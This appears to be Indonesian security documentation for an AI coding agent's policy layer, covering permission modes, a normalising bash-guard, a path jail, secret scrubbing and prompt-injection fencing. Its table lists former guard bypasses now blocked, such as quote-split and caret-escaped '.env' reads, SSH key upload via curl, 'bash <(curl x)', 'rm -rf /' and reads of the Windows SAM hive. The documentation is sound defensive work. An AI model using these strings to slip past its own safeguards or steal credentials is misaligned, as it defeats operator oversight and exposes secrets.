- Fail-closed di jalur tak pasti: tool tanpa backend tersedia menolak (
code_run), sandbox yang diminta tapi tidak tersedia tidak pura-pura aman (warn +allowlist), provider OAuth yang belum login dibuang dari daftar, auth non-TTY fail-fast. - Ukur, bukan klaim: bash-guard divalidasi korpus manual pola serangan + perintah sah dan fuzz kombinatorial ber-seed — jalankan
bun run gate:bashdanbun run extreme:fuzzuntuk angka terkini (exit 0 = 0 bypass / 0 over-block). - Teks eksternal = tidak terpercaya: output tool, MCP, web, bahkan output verify dibungkus fence;
sanitizeAnsimenyaring escape ANSI dari teks model/tool sebelum render. - Permission mengontrol pemanggilan, bukan capability: satu approval = satu pasangan server+tool+args (MCP); capability di balik server tak bisa diketahui statis.
auto (default) · readonly (18 tool read-only) · plan (readonly + todo + delegate read-only) · allowlist (bash pola aman) · ask (prompt tiap tool) · allow-all (semua — tetap tolak bash berbahaya, path jail tetap aktif). Putar via Shift+Tab (siklus 5: allow-all dilewati), /mode, atau flag --plan/--allowlist/--ask/--allow-all. Detail per mode di Policy & Sandbox.
-
Bash-guard ternormalisasi (
src/policy/bash-guard.ts) — quote pemisah kata dibuang dan assignment sederhana disubstitusi sebelum pemeriksaan. Ini menutup kelas bypass, bukan pola individual:Dulu lolos Kenapa Sekarang cat .e""nvregex melihat .e""nv, shell membaca.envditolak X=.env; cat $Xregex tak pernah melihat .envditolak p=python3; $p -c 1regex tak melihat python3 -cditolak node --eval "1"hanya -eyang di-regexditolak env,set,export -phanya printenvyang diblokditolak curl -F file=@~/.ssh/id_rsatak ada aturan upload ditolak bash <(curl x)tak ada aturan process substitution ditolak rm -rf ..,rm --recursive --force /,rm -rf /; :pola lama hanya kenal /dan~ditolak command env,nice env, dkk. (wrapper)deteksi env-dump ter-anchor ke awal ditolak via stripCommandWrappers(buang wrapper berlapis)echo x > ..\evil(redirect keluar workspace)allowlist echo *+ guard tanpa aturan redirectditolak via findRedirectTargets(target di-resolve ke cwd; heredoc/fd//dev/nulldikecualikan)echo x > "%TEMP%\evil"(redirect + ekspansi env)cek statis melihat literal %TEMP%\…di dalam cwd; cmd.exe mengekspansi SETELAH cekditolak: target berpola %NAMA%tak bisa dipastikan aman (red-team eksternal).%tunggal (100%.txt) tetap lolospy -c …,python3.14 -c …(launcher/versi)regex hanya kenal `python python2 type ..\..\..\windows\system32\config\sam(baca hive SAM)pola kredensial POSIX-sentris ( /etc/shadowdkk, tanpa padanan Windows)ditolak: `system32\config(sam write_file .minicode/test-write.txt(state via nama tak terdaftar)jail .minicode/berbasis daftar-namaditolak: kunci penuh segmen .minicode/untuk tool tulis (satu-satunya pengecualian: restore.minicode/.trash/→ workspace)baca via hardlink ke luar workspace realpathtak melihat hardlink (semua nama setara)ditolak bila nlink > 1pada handle yang dibuka (fstat, bebas race). Tulis aman by-design (atomic replace memutus hardlink)type .e^nv,ty^pe .env(escape caret cmd.exe)guard mencocokkan nama LITERAL, sementara cmd.exe melepas ^di luar kutip ganda sebelum eksekusi — satu caret memindahkan perintah dari "ditahan" ke "lolos"ditolak: stripCaretEscapesberjalan sebelum semua aturan nama/jail (audit 2026-09-20, temuan F1); caret di dalam kutip ganda tidak disentuh (echo "a^b"tetap sah). Trade-off jujur: di POSIX caret bukan escape, jadicat .e^nvikut ditolak (fail-closed; berkas bernama.e^nvpraktis tidak ada)type %USERPROFILE%\notes.txt(argumen PEMBACA + ekspansi env)hanya target redirect yang dianggap "tak bisa dipastikan"; argumen pembaca di- resolve()sebagai jalur relatif DI DALAM cwdditolak: aturan %NAMA%kini simetris untuk argumen pembaca (temuan F2).%tunggal (100%.txt) tetap lolosfor /f %i in (.env) do @echo %i(pembaca bawaan cmd.exe)foradalah loop, bukan utilitas → tidak ada diREADERS, sehingga target berkasnya tak diperiksa sama sekaliditolak: set berkas for /f … in (…)diekstrak (forFileSets) dan diperiksa seperti argumen pembaca (temuan F3) -
Allowlist (
--allowlist, dan default bila tanpa sandbox OS): hanya bentuk read/build —git status/diff/log/branch/show,bun test/run/x tsc,npm run/exec,npx,ls dir cat type head tail wc grep rg find which echo pwd. Tulis via shell ditahan; pakaiwrite_file/edityang ter-jail.npm exec/npx/bun run/bun xtak boleh ekspansi shell/redirection.git --no-index/--exec-path/--upload-pack/--receive-pack, transportext::, danGIT_EXTERNAL_DIFF/GIT_CONFIG_*inline ditolak guard (git sebagai pelarian jail). -
Path jail realpath-based + symlink check + TOCTOU
O_NOFOLLOW;.env/.git/config/node_modules/hive Windows (system32\config\sam|system|security|software,ntds.dit) deny; berlaku bahkan--allow-all. -
Env scrub
sanitizeSpawnEnv: strip kata-kunci kredensial dari merge final.GITHUB_WORKSPACE/GITHUB_REF/GOOGLE_CHROME_PATH/REDIS_HOST/AWS_REGIONtetap ada (pernah terhapus dan memecahkan build CI), sementaraGITHUB_TOKEN/AWS_SECRET_ACCESS_KEY/DATABASE_URLdi-strip. Bila non-rahasia ikut hilang, itu bug — laporkan nama variabelnya. -
web_fetch/web_search: redirect manual ≤5 hop + DNS pinning 30 dtk + body cap 2 MB. Host privat ditolak (sama untuk MCP HTTP).
- Output verify dibungkus fence agar instruksi di error build tidak diikuti model.
mcp_read/mcp_promptdi-gate meski read-only — konten pihak ketiga langsung ke konteks = jalur injection; "read-only ≠ aman".- Secret scrubber meredaksi
sk-,ghp-,AKIA, PEM, JWT, Bearer,api_key=...sebelum teks ke LLM (read_file/bash/grep), tanpa whitelist kata. - Bypass korpus + fuzz:
bun run gate:bash,bun run extreme:fuzz(--seeduntuk reproduksi). Batas jujur: analisis statis atas bahasa Turing-complete;$(curl …)dinamis perlu sandbox OS/docker.
Agen berjalan SEBAGAI user — tidak ada batas privilege antara agen dan pemilik mesin. Yang dilindungi guard adalah niat operator, bukan capability: konten yang dibaca agen bisa memengaruhi keputusan dan ikut terkirim ke provider model pihak ketiga.
MEMORY.md(.minicode/, root, home),AGENTS.md,rules/, skills: input tepercaya yang boleh diedit manusia — termasuk edit langsung via file. Tulis out-of-band (di luarwrite_memory) ikut termuat apa adanya pada retrieval berikutnya. Jangan taruh instruksi dari repo tak dikenal tanpa dibaca;forget_memorymenjangkau vector store +.minicode/MEMORY.mddi scope lokal DAN global (keduanya ikut di-search) — hierarki bacaMEMORY.mdroot/CLAUDE.mdtidak ikut terhapus.sessions.db+ jurnal: transkrip sesi tersimpan plaintext di workspace (terbaca agen mana pun di workspace itu). Jurnal 0-byte = sesi terpasang yang belum bermutasi (by-design, bukan korupsi).- State milik runtime (
.minicode/— DB, todos, plans, checkpoints, jurnal, traces, allowlist, config, + file APAPUN lain di bawahnya): tulis via file tools ditolak fail-closed (pengecualian: restore.minicode/.trash/→ workspace dan skrip hooks.minicode/hooks/— eksekusi hook tetap butuh registrasi allowlist yang terkunci); baca tetap boleh (observability). Tulis catatan sendiri ke workspace, bukan ke.minicode/.
- Config lokal
.minicode/config.json+ allowlist diabaikan secara default — repo clone-an tidak bisa men-spawn MCP, menyedot prompt, atau memasang hook. Percayai dengan--allow-local-config. - Server MCP terdaftar tidak mendapat wildcard auto-allow; tiap tool bertitik di-gate sekali per pasangan server+tool+args;
[a] Alwayspersist ke allowlist. - Config/allowlist/auth ditulis atomik + chmod 600; token OAuth terpisah di
~/.minicode/auth.json(bukan config yang rawan ter-commit). mcp servestdio-only (tanpa mode HTTP → tanpa permukaan jaringan), curated tools, permission aktif;--all-toolsopt-in operator.
Setiap turn checkpoint shadow-git + recovery journal .minicode/journal-<sesi>.jsonl (pending → committed → finalized). Saat resume: committed yang turn-nya hilang tidak diulang; pending/failed → direktif verifikasi, dilarang redo buta; committed MCP = external-acknowledged wajib baca-balik. Detail di Memory & Sessions.
- Security Model — rantai eksekusi, trust boundary, dan limitasi dalam satu halaman.
- Policy & Sandbox — 6 mode + detail guard.
- Kontrak Terminal — kenapa warna di-gate TTY.
- Otomasi & CI — batasan agent di CI (fail-closed non-TTY).